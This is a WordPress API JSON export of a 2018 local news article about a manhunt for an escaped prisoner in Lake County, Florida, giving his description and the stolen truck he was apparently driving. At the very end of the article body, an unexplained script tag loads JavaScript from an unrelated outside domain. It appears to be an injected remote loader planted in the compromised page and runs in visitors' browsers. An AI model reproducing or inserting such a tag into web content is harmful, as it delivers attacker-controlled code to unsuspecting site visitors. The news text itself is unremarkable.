{"id":219102,"date":"2018-05-31T18:03:09","date_gmt":"2018-05-31T22:03:09","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=219102"},"modified":"2018-05-31T18:03:09","modified_gmt":"2018-05-31T22:03:09","slug":"lake-county-officials-launch-manhunt-for-escaped-prisoner","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/lake-county-officials-launch-manhunt-for-escaped-prisoner\/","title":{"rendered":"Lake County Officials Launch Manhunt for Escaped Prisoner"},"content":{"rendered":"<p><strong>CLERMONT, Fla.<\/strong> &#8212; Deputies with the Lake County Sheriff&#8217;s Department responded to the area of the Lake Correctional Institution after receiving reports of an escaped prisoner.<\/p>\n<p>According to a press release, 34-year-old Alinton John escaped from the prison Thursday afternoon and is believed to be driving a stolen silver 2001 Toyota pickup truck with a Florida license plate, number JHWC97.<\/p>\n<p>The owner of the stolen vehicle believes there may have been a firearm in the truck at the time it was stolen but is unsure.<\/p>\n<p>Lake County deputies joined the manhunt along with Lake County K-9 officers, prison officials, Florida Highway Patrol troopers, and officers from surrounding police departments to find John.<\/p>\n<p>John is described as a black male weighing 170 pounds and is six foot two inches tall. He has a tattoo of a footprint with the name &#8220;Aliyana&#8221; on his left chest area.<\/p>\n<p>Details on how John escaped from custody are not available at this time and officials are still investigating.<\/p>\n<p>John was serving a 15-year sentence for aggravated battery with a deadly weapon. He had been incarcerated at the Lake Correctional Institute since February 12, 2009.<\/p>\n<p>Residents are asked to keep their homes and vehicles locked and to report any suspicious activity by calling 911.<\/p>\n<p>&nbsp;<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lake County officials join the manhunt for an escaped prisoner from the Lake Correctional Institute.<\/p>\n","protected":false},"author":1,"featured_media":219103,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3244,3246,3245,325,6,1],"tags":[749,2053,3336,3335,54,1361,69,80,3210,101,3337,1362],"class_list":["post-219102","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arrests","category-community","category-crime","category-florida-news","category-lake-county","category-local","tag-clermont","tag-deputies","tag-escape","tag-escapee","tag-fhp","tag-highway-patrol","tag-inmate","tag-lake-county","tag-manhunt","tag-prison","tag-prisoner","tag-troopers","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/alinton.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219102","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=219102"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219102\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/219103"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=219102"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=219102"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=219102"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}